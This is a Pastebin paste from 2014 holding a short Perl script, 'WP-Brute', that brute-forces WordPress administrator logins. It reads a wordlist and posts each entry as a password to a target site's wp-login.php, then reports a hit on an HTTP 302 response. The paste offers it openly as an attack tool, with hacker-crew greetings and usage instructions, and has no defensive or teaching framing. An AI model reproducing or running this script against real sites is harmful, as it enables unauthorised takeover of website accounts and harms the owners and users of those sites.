Advertisement
r13y5h4

brUt3_Wp_4dm1nP455

Dec 13th, 2014
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1.  
  2.  
  3. #!/usr/bin/perl
  4.  
  5. # WP-BRUTE BY MMXM
  6. # Gr33tz To Cy¢lone & Ut0p|4
  7.  
  8. use LWP::UserAgent;
  9.  
  10. $site = $ARGV[0];
  11. $user = $ARGV[1];
  12. $wordl = $ARGV[2];
  13.  
  14. if(@ARGV != 3){
  15. print "
  16. WP-Brute by MMxM
  17.  
  18. How to use: $0 <site> <user> <wordlist>
  19. exe: $0 site.com admin wordlist.txt
  20.  
  21. ";
  22. exit;
  23. }
  24.  
  25. if ($site !~ /^http:\/\//){
  26. $site = 'http://' . $site;
  27. }
  28. if ($site !~ /\/wp-login.php/){
  29. $site = $site . '/wp-login.php';
  30. }
  31.  
  32. open(a,"<$wordl") or die "$!";
  33. print "\n\nSite: $site\nUsername: $user\n\nAttacking...\n\n";
  34. sleep(2);
  35. while(<a>){
  36. chomp($_);
  37.  
  38. my $ua = new LWP::UserAgent;
  39.  
  40. my $response
  41. = $ua->post($site,
  42. { log => $user,
  43. pwd => $_,
  44. wp-submit => 'Log in',
  45. });
  46.  
  47. my $code = $response->code;
  48. print "[+] Testing... $_\n";
  49. if($code == 302){
  50. print "\n\n\t[*] PASSWORD OK: $_\n\n";
  51. exit;
  52. }
  53. }
  54. exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement